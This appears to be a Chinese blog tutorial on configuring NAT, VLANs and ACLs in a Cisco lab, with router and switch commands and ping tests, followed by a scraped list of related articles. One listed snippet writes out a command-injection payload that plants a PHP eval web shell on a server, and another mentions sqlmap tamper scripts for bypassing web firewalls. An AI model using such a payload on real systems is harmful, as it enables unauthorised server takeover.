在企业中,要实现所有的员工都能与互联网进行通信,每个人各使用一个公网地址是很不现实的。一般,企业有1个或几个公网地址,而企业有几十、几百个员工。要想让所有的员工使用这仅有的几个公网地址与互联网通信该怎么做呢?使用NAT技术!

在企业中,一般会有多个部门,像财务部、技术部、工程部等等。每个部门有每个部门的职责。像财务部这种重要的部门有些资料是不允许被其他员工知道的。怎样能清楚的区分不同的部门,以便于管理呢?使用VLAN技术

为了工作方便、增强工作效率,各部门经理必须能相互通信。但不允许员工之间相互通信。我们又该怎样做呢?使用ACL技术!

今天我们来学习如何使用NAT + VLAN +ACL管理企业网络。如下是试验环境:

环境介绍:

企业中只有一个公网地址,172.16.1.1/24
    企业中共有三个部门工程部、财务部、技术部。
    PC1  PC3  PC5 分别为三个部门的部门经理使用。
    PC1 的ip地址为192.168.1.2/24
    PC2 的ip地址为192.168.1.3/24
    PC3 的ip地址为192.168.2.2/24
    PC4 的ip地址为192.168.2.3/24
    PC5 的ip地址为192.168.3.2/24
    PC6 的ip地址为192.168.3.3/24
    试验目的:
    通过配置NAT使企业中所有的计算机都能通过唯一的公网地址与互联网通信。
    通过配置VLAN划分各个部门,并配置ACL实现每个部门经理之间能够通讯,普通员工之间不能相互通讯。

OK,知道目的了,让我们开始工作吧!

首先在R1 和 R2上做基本配置,(由于试验过程中要使用VLAN间路由,所以需要使用dot1Q 进行封装来配置子接口)
    R1
    Router>en
    Router#conf t
    Enter configuration commands, one per line.  End with CNTL/Z.
    Router(config)#host r1
    r1(config)#int s0/0
    r1(config-if)#ip addr 172.16.1.1 255.255.255.0
    r1(config-if)#no shut
    %LINK-5-CHANGED: Interface Serial0/0, changed state to up
    r1(config-if)#clock rate 64000
    %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial0/0, changed state to u
    r1(config-if)#exit
    r1(config)#int f0/0
    r1(config-if)#no ip addr
    r1(config-if)#no shut
    r1(config-if)#exit
    r1(config)#int f0/0.1                                  配置子接口,
    r1(config-subif)#encapsulation dot1Q 2     配置子接口必须使用dot1Q进行封装
    r1(config-subif)#ip addr 192.168.1.1 255.255.255.0
    r1(config-subif)#no shut
    r1(config-subif)#exit
    r1(config)#int f0/0.2                                 配置子接口
    r1(config-subif)#encapsulation dot1Q 3    配置子接口必须使用dot1Q进行封装
    r1(config-subif)#ip addr 192.168.2.1 255.255.255.0
    r1(config-subif)#no shut
    r1(config-subif)#exit
    r1(config)#int f0/0.3                                  配置子接口
    r1(config-subif)#encapsulation dot1Q 4      配置子接口必须使用dot1Q进行封装
    r1(config-subif)#ip addr 192.168.3.1 255.255.255.0

因为我们把R2当作公网使用,所以只需要在R2的S0/0口上配置ip就可以啦
    R2

Router>en
    Router#conf t
    Enter configuration commands, one per line.  End with CNTL/Z.
    Router(config)#host r2
    r2(config)#int s0/0
    r2(config-if)#ip addr 172.16.1.2 255.255.255.0
    r2(config-if)#no shut

基本配置完成了,接下来第一步,我们要让企业中的所有员工都能通过唯一的公网ip 172.16.1.1/24 与互联网相互通信。
    R1
    r1(config)#ip nat pool internet 172.16.1.1 172.16.1.1 netmask 255.255.255.0 定义全局地址池
    r1(config)#access-list 10 permit 192.168.0.0 0.0.255.255通过标准访问控制列表定义内部网络的上网条件
    r1(config)#ip nat inside source list 10 pool internet overload 建立全局地址池与标准访问控制列表之间的映射关系
    r1(config)#int s0/0
    r1(config-if)#ip nat outside  外网接口绑定(要想配置能实现应用必须在内外网接口上绑定)
    r1(config-if)#exit
    r1(config)#int f0/0
    r1(config-if)#ip nat inside   内网接口绑定

通过配置VLAN划分各个部门,并配置ACL以实现每个部门经理之间能够通讯,普通员工之间不能相互通讯。

Sw

Switch>en
    Switch#conf t
    Enter configuration commands, one per line.  End with CNTL/Z.
    Switch(config)#int f0/1
    Switch(config-if)#switchport mode trunk       配置Trunk链路

%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/1, changed state to down
    %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/1, changed state to up
    Switch(config-if)#exit
    Switch(config)#vlan 2                                   创建VLAN 2
    Switch(config-vlan)#name gongchengbu       vlan2为工程部
    Switch(config-vlan)#exit
    Switch(config)#vlan 3                                      创建VLAN 3
    Switch(config-vlan)#name caiwubu            VLAN3为财务部
    Switch(config-vlan)#exit
    Switch(config-vlan)#vlan 4                             创建VLAN 4
    Switch(config-vlan)#name jishubu             VLAN4为技术部
    Switch(config-vlan)#exit
    Switch(config)#int f0/2
    Switch(config-if)#switchport access vlan 2      给VLAN 2手工添加成员
    Switch(config-if)#exit
    Switch(config)#int f0/3
    Switch(config-if)#switchport access vlan 2
    Switch(config-if)#exit
    Switch(config)#int f0/4
    Switch(config-if)#switchport access vlan 3      给VLAN 3手工添加成员
    Switch(config-if)#exit
    Switch(config)#int f0/5
    Switch(config-if)#switchport access vlan 3
    Switch(config-if)#exit
    Switch(config)#int f0/6
    Switch(config-if)#switchport access vlan 4      给VLAN 3手工添加成员
    Switch(config-if)#exit
    Switch(config)#int f0/7
    Switch(config-if)#switchport access vlan 4
    Switch(config-if)#exit

定义访问控制列表
    定义访问控制列表时要细心,要把最特殊的访问控制列表放在最上面。(在此例中,允许一台特定主机而拒绝一个网段,所以要把拒绝主机放在上面)。
    注意:要想一个访问列表能够得到应用,必须在接口绑定。

R1

r1(config)#access-list 10 permit 192.168.2.2 0.0.0.0
    r1(config)#access-list 10 deny 192.168.2.0 0.0.0.255
    r1(config)#access-list 10 permit 192.168.3.2 0.0.0.0
    r1(config)#access-list 10 deny 192.168.3.0 0.0.0.255
    r1(config)#access-list 10 permit any
    r1(config)#int f0/0.1
    r1(config-subif)#ip access-group 10 out
    r1(config-subif)#exit
    r1(config)#access-list 11 permit 192.168.1.2 0.0.0.0
    r1(config)#access-list 11 deny 192.168.1.0 0.0.0.255
    r1(config)#access-list 11 permit 192.168.3.2 0.0.0.0
    r1(config)#access-list 11 deny 192.168.3.0 0.0.0.255
    r1(config)#access-list 11 permit any
    r1(config)#int f0/0.2
    r1(config-subif)#ip access-group 11 out
    r1(config-subif)#exit
    r1(config)#access-list 12 permit 192.168.1.2 0.0.0.0
    r1(config)#access-list 12 deny 192.168.1.0 0.0.0.255
    r1(config)#access-list 12 permit 192.168.2.2 0.0.0.0
    r1(config)#access-list 12 deny 192.168.2.0 0.0.0.255
    r1(config)#access-list 12 permit any
    r1(config)#int f0/0.3
    r1(config-subif)#ip access-group 12 out
    r1(config-subif)#exit

OK了,现在通过配置后所有的员工都能与互联网通讯。(由于主机较多就不一一列述)

PC>ping 172.16.1.2

Pinging 172.16.1.2 with 32 bytes of data:

Reply from 172.16.1.2: bytes=32 time=94ms TTL=254
    Reply from 172.16.1.2: bytes=32 time=94ms TTL=254
    Reply from 172.16.1.2: bytes=32 time=94ms TTL=254
    Reply from 172.16.1.2: bytes=32 time=90ms TTL=254

Ping statistics for 172.16.1.2:
        Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
    Minimum = 90ms, Maximum = 94ms, Average = 93ms

配置完成后,PC 1 、PC 3 和 PC5之间,即每个部门的部门经理之间能相互通信。

PC1  ping  PC3

PC1>ping 192.168.2.2

Pinging 192.168.2.2 with 32 bytes of data:

Reply from 192.168.2.2: bytes=32 time=125ms TTL=127
    Reply from 192.168.2.2: bytes=32 time=110ms TTL=127
    Reply from 192.168.2.2: bytes=32 time=110ms TTL=127
    Reply from 192.168.2.2: bytes=32 time=125ms TTL=127

Ping statistics for 192.168.2.2:
        Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
    Minimum = 110ms, Maximum = 125ms, Average = 117ms

PC1  PING   PC5

PC1>ping 192.168.3.2

Pinging 192.168.3.2 with 32 bytes of data:

Reply from 192.168.3.2: bytes=32 time=111ms TTL=127
    Reply from 192.168.3.2: bytes=32 time=120ms TTL=127
    Reply from 192.168.3.2: bytes=32 time=111ms TTL=127
    Reply from 192.168.3.2: bytes=32 time=105ms TTL=127

Ping statistics for 192.168.3.2:
        Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 105ms, Maximum = 120ms, Average = 111ms

PC3  PING   PC5

PC3>ping 192.168.3.2

Pinging 192.168.3.2 with 32 bytes of data:

Reply from 192.168.3.2: bytes=32 time=125ms TTL=127
    Reply from 192.168.3.2: bytes=32 time=125ms TTL=127
    Reply from 192.168.3.2: bytes=32 time=109ms TTL=127
    Reply from 192.168.3.2: bytes=32 time=94ms TTL=127

Ping statistics for 192.168.3.2:
        Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 94ms, Maximum = 125ms, Average = 113ms

PC2  PC4和 PC6之间,即普通员工之间是不能相互通信的。

PC 2  PING  PC4

PC2>ping 192.168.2.3

Pinging 192.168.2.3 with 32 bytes of data:

Request timed out.
    Request timed out.
    Request timed out.
    Request timed out.

Ping statistics for 192.168.2.3:
        Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),

PC2   PING  PC6

PC2>ping 192.168.3.3

Pinging 192.168.3.3 with 32 bytes of data:

Request timed out.
    Request timed out.
    Request timed out.
    Request timed out.

Ping statistics for 192.168.3.3:
    Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),

PC 4   PING   PC 6

PC4>ping 192.168.3.3

Pinging 192.168.3.3 with 32 bytes of data:

Request timed out.
    Request timed out.
    Request timed out.
    Request timed out.

Ping statistics for 192.168.3.3:
    Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),

通过以上所有的配置,我们达到了目的:所有的员工通过一个公网地址与互联网通讯;使各部门经理之间能相互通信,普通员工之间不能相互通信。

嘿嘿,还是很实用吧!
    本文出自 51CTO.COM技术博客

绝对实用 NAT + VLAN +ACL管理企业网络的更多相关文章

  1. 在ensp上模拟企业网络场景并Access接口加入相应VLAN

    模拟的企业网络大概描述: 公司内网是一个大的局域网,二层交换机S1放置在一楼,在一楼办公的部门有IT部和人事部:二层交换机S2放置在二楼,在二楼办公的部门有市场部和研发部.由于交换机组成的是广播网,交 ...

  2. 开源虚拟化KVM(三)管理虚拟网络

    六,管理虚拟网络 [x] Linux网桥基本概念 [x] qemu-kvm支持的网络 [x] 向虚拟机添加虚拟网络连接 [x] 基于NAT的虚拟网络 [x] 基于网桥的虚拟网络 [x] 用户自定义的隔 ...

  3. Cisco VLAN ACL配置

    什么是ACL? ACL全称访问控制列表(Access Control List),主要通过配置一组规则进行过滤路由器或交换机接口进出的数据包, 是控制访问的一种网络技术手段, ACL适用于所有的被路由 ...

  4. Linux实战教学笔记55:开源虚拟化KVM(三)管理虚拟网络

    六,管理虚拟网络 [x] Linux网桥基本概念 [x] qemu-kvm支持的网络 [x] 向虚拟机添加虚拟网络连接 [x] 基于NAT的虚拟网络 [x] 基于网桥的虚拟网络 [x] 用户自定义的隔 ...

  5. 通过python基于netconf协议获取网络中网元的配置数据,助力企业网络控制自动化轻松实现!

    摘要:在当今信息化时代,大多数企业都需要网络支撑企业的ICT运行,提升企业运行效率,针对企业网络中的网元设备(包括交换机,路由器,防火墙等),很多企业希望根据自身的业务特点定制网络管理,比如可以实现网 ...

  6. OpenStack neutron vlan 模式下的网络包流向

    时间:2015-01-15 18:09:41 1.什么是Neutron? Neutron是OpenStack的network project ,是NaaS(networking-as-a-servic ...

  7. 云原生应用管理,像管理手机APP一样管理企业应用

    我们在使用智能手机的时候,手机APP从应用市场一键安装,安装好即点即用,当有新版本一键升级,如果不想用了长按图标删除,整个过程非常简单,小朋友都能熟练掌握.而对于企业应用,由于结构复杂.可用性要求高. ...

  8. CISCO VLAN ACL

    对于cisco VLAN ACL 首先得定义 standard ACL或 extented ACL用于抓取流量 注意这里的抓取流量不是最终的对流量的操作,而是决定什么样的流量用VLAN ACL 来处理 ...

  9. 管理IPv6网络连接

    以下操作建立在Linux功能-管理IPv4网络连接之上,请先完成该部分操作后进行以下测试. 1. 修改 net1,配置 IPv6 地址为 2001:X/64 ,网关为 2001:254 [root@d ...

随机推荐

  1. 9月14日JavaScript循环语句作业解析

    1.一张纸的厚度是0.0001米,将纸对折,对折多少次厚度超过珠峰高度8848米 解法一: var gd = 8848; var cs = 0; while(true) { cs++; gd = gd ...

  2. echo命令写shell

    http://site/x.php?x=echo ^<?php @eval($_POST[x])?^> > D:\wwwroot\x.php

  3. tamper绕WAF详解

    0x00 背景 sqlmap中的tamper脚本来对目标进行更高效的攻击. 由于乌云知识库少了sqlmap-tamper 收集一下,方便学习. 根据sqlmap中的tamper脚本可以学习过绕过一些技 ...

  4. Java多线程编程核心技术--定时器

    Timer类主要负责计划任务,也就是在指定的时间开始执行某一个任务. 方法schedule(TimerTask task, Date time) public class Task { private ...

  5. Linq 操作基础

    参考资料: LINQ系列:LINQ to DataSet的DataTable操作 List<T>转换为DataTable C# DataTable 和List之间相互转换的方法 Linq中 ...

  6. CSS样式表继承详解

    最近在恶补css样式表的基础知识.上次研究了css样式表之冲突问题详解 .这次是对 css 继承 特性的学习. 什么是css 继承?要想了解css样式表的继承,我们先从文档树(HTML DOM)开始. ...

  7. 移动WebApp利用Chrome浏览器进行调试

    详细的请看这个(HBuilder是我长期使用,而且值得支持的国内前端开发编辑器) http://ask.dcloud.net.cn/article/151 http://ask.dcloud.net. ...

  8. [译]Node.js : Building RESTful APIs using Loopback and MySQL

    国庆后可能就要使用StrongLoop那套东西来做项目了 原文:http://www.javabeat.net/loopback-mysql/ Loopback是什么? Loopback是一个开源的N ...

  9. ngCordova插件安装使用

    为什么ngCordova ngCordova是在Cordova Api基础上封装的一系列开源的AngularJs服务和扩展,让开发者可以方便的在HybridApp开发中调用设备能力,即可以在Angul ...

  10. go学习与记录

    搭建go开发环境:http://studygolang.com/articles/5406 日志相关:https://github.com/hpcloud/tail go定时器:http://stud ...